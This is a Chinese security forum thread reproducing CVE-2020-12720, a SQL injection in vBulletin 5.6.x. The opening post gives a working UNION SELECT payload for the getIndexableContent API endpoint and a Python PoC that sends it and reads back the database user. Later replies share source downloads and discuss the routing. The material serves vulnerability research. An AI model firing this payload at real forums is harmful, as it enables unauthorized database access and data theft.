# vbulletin5 SQL注入漏洞复现(cve-2020-12720)

**URL:** <https://forum.90sec.com/t/topic/1024>\
**Category:** 代码审计\
**Created:** [2020 年5 月 13 日 07:43 UTC](https://forum.90sec.com/t/topic/1024 "2020-05-13T07:43:36Z")\
**Posts on this page:** 12\
**Page:** 1

<div class="post-metadata">

作者： ![flystart](https://forum.90sec.com/user_avatar/forum.90sec.com/flystart/32/5193_2.png) [@flystart](https://forum.90sec.com/u/flystart)\
发布日期： [2020 年5 月 13 日 07:43 UTC](https://forum.90sec.com/t/topic/1024/1 "2020-05-13T07:43:36Z")

</div>

### vbulletin5 SQL注入漏洞复现(cve-2020-12720)

​ 最近一段时间爆出了vbulletin 前台SQL注入漏洞，影响版本\<=5.6.1，上午花了点时间复现了一下，感兴趣的可以跟着图中调用栈分析一下。

## 环境：

【测试环境】：php 7.2、mysql5.7.11、apache2.4

【测试版本】：vbulletin5.6.0

 ![image-20200513154558638](https://forum.90sec.com/uploads/default/original/2X/e/ec7fc4c01bdb565a7af2e2a5267cbe5de6265e46.png)  
payload:

```python
nodeId[nodeid]=1 AND text.nodeid = 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,user(),19,20,21,22,23,24,25,26--

```

## 检测和利用：

```python
def verify(target_node):
    target = target_node['target']
    url = target + '/ajax/api/content_infraction/getIndexableContent'
    res = {}
    res['Info'] = ""
    res['Success'] = False
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}
    try :
        sess = requests.session()
        sess.headers = headers
        _keyword = ''.join(random.sample(string.ascii_letters + string.digits, 8))

        payload = "1 AND text.nodeid = 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat(0x3a3a,user(),0x3a3a,0x{0}),19,20,21,22,23,24,25,26--".format(binascii.b2a_hex(_keyword))
        data = {'nodeId[nodeid]':payload}
        response_text = sess.post(url,data=data).content
        match = re.compile('::(.*?)::').search(response_text)
        info =match.group(1)
        if _keyword in response_text:
                res['Info'] = 'FOUNDED VULNERABILTY!!!'+'|{0}'.format(info)
                res['Success'] = True
    except Exception,e:
        res['Info'] = e.message
        res['Success'] = False
    return res

def attack(target_node):
    res = verify(target_node)
    return res

```

 ![image-20200513155016618](https://forum.90sec.com/uploads/default/original/2X/7/7b0063967f68566c86839474d9e5ee4ed3b54f2d.png)

 ![image-20200513155119941](https://forum.90sec.com/uploads/default/original/2X/3/3cf1527dbdd2b48748bd40c58ba3bdabe81631d9.png)
- PocStart 测试和利用：

 ![image-20200513155332116](https://forum.90sec.com/uploads/default/original/2X/e/ed7f630eb542a6b8020476fb0c09881f256fdbb4.png)  
 ![image-20200513155151445](https://forum.90sec.com/uploads/default/original/2X/d/d47c024eb229cdafc0577ccfcab7571b8e30e32d.png)
### 参考：

> **[CVE-2020-12720: vBulletin Urges Users to Patch Undisclosed Security...](https://www.tenable.com/blog/cve-2020-12720-vbulletin-urges-users-to-patch-undisclosed-security-vulnerability)**
>
> vBulletin released patches for an undisclosed security vulnerability, encouraging users to apply the patch as soon as possible.

---

<div class="post-metadata">

作者： ![Joseph](https://forum.90sec.com/letter_avatar_proxy/v4/letter/j/dc4da7/32.png) [@Joseph](https://forum.90sec.com/u/Joseph)\
发布日期： [2020 年5 月 13 日 13:16 UTC](https://forum.90sec.com/t/topic/1024/2 "2020-05-13T13:16:12Z")

</div>

师傅很迅速啊！

---

<div class="post-metadata">

作者： ![flystart](https://forum.90sec.com/user_avatar/forum.90sec.com/flystart/32/5193_2.png) [@flystart](https://forum.90sec.com/u/flystart)\
发布日期： [2020 年5 月 14 日 02:55 UTC](https://forum.90sec.com/t/topic/1024/3 "2020-05-14T02:55:03Z")

</div>

前段时间刚好在审核这套源码，省了搭建环境那些麻烦事

---

<div class="post-metadata">

作者： ![flystart](https://forum.90sec.com/user_avatar/forum.90sec.com/flystart/32/5193_2.png) [@flystart](https://forum.90sec.com/u/flystart)\
发布日期： [2020 年5 月 14 日 06:03 UTC](https://forum.90sec.com/t/topic/1024/5 "2020-05-14T06:03:56Z")

</div>

发以前的代执行干啥

---

<div class="post-metadata">

作者： ![LoRexxar](https://forum.90sec.com/user_avatar/forum.90sec.com/lorexxar/32/2432_2.png) [@LoRexxar](https://forum.90sec.com/u/LoRexxar)\
发布日期： [2020 年5 月 14 日 07:14 UTC](https://forum.90sec.com/t/topic/1024/6 "2020-05-14T07:14:24Z")

</div>

这代码是哪里找的，能分享一份吗

---

<div class="post-metadata">

作者： ![flystart](https://forum.90sec.com/user_avatar/forum.90sec.com/flystart/32/5193_2.png) [@flystart](https://forum.90sec.com/u/flystart)\
发布日期： [2020 年5 月 14 日 09:21 UTC](https://forum.90sec.com/t/topic/1024/7 "2020-05-14T09:21:04Z")

</div>

百度第一个就是  
[https://pan.baidu.com/s/1x8JlHHlOkaXRfpH5\_8cnfA](https://pan.baidu.com/s/1x8JlHHlOkaXRfpH5_8cnfA) 1al

这个网站有多个cms测试环境：  
[https://dbd.tapatest.com/testforum/vb/](https://dbd.tapatest.com/testforum/vb/)

---

<div class="post-metadata">

作者： ![mochazz](https://forum.90sec.com/user_avatar/forum.90sec.com/mochazz/32/2270_2.png) [@mochazz](https://forum.90sec.com/u/mochazz)\
发布日期： [2020 年5 月 14 日 09:49 UTC](https://forum.90sec.com/t/topic/1024/9 "2020-05-14T09:49:34Z")

</div>

下载地址：[https://www.lanzous.com/iajb5uf](https://www.lanzous.com/iajb5uf) 密码：cmw8

---

<div class="post-metadata">

作者： ![LoRexxar](https://forum.90sec.com/user_avatar/forum.90sec.com/lorexxar/32/2432_2.png) [@LoRexxar](https://forum.90sec.com/u/LoRexxar)\
发布日期： [2020 年5 月 14 日 10:07 UTC](https://forum.90sec.com/t/topic/1024/10 "2020-05-14T10:07:35Z")

</div>

实不相瞒，那个链接我打不开

---

<div class="post-metadata">

作者： ![flystart](https://forum.90sec.com/user_avatar/forum.90sec.com/flystart/32/5193_2.png) [@flystart](https://forum.90sec.com/u/flystart)\
发布日期： [2020 年5 月 14 日 12:23 UTC](https://forum.90sec.com/t/topic/1024/11 "2020-05-14T12:23:42Z")

</div>

可以打开的，楼下也有发你从楼下地址下载吧

---

<div class="post-metadata">

作者： ![beautymanor](https://forum.90sec.com/letter_avatar_proxy/v4/letter/b/ecb155/32.png) [@beautymanor](https://forum.90sec.com/u/beautymanor)\
发布日期： [2020 年5 月 24 日 13:54 UTC](https://forum.90sec.com/t/topic/1024/12 "2020-05-24T13:54:49Z")

</div>

师傅，想问下content\_infraction的作用是啥，因为getIndexableContent似乎并不隶属于content\_infraction类中方法

---

<div class="post-metadata">

作者： ![flystart](https://forum.90sec.com/user_avatar/forum.90sec.com/flystart/32/5193_2.png) [@flystart](https://forum.90sec.com/u/flystart)\
发布日期： [2020 年5 月 24 日 14:28 UTC](https://forum.90sec.com/t/topic/1024/13 "2020-05-24T14:28:44Z")

</div>

这个是api 路由，和国内那些cms的路由构造不太一样，你可以跟一下分析下他的构成，我之前审计的时候简单的跟踪了一下，后面有其他工作就没在审计了

---

<div class="post-metadata">

作者： ![beautymanor](https://forum.90sec.com/letter_avatar_proxy/v4/letter/b/ecb155/32.png) [@beautymanor](https://forum.90sec.com/u/beautymanor)\
发布日期： [2020 年5 月 25 日 02:08 UTC](https://forum.90sec.com/t/topic/1024/14 "2020-05-25T02:08:02Z")

</div>

我懂了，谢谢师傅
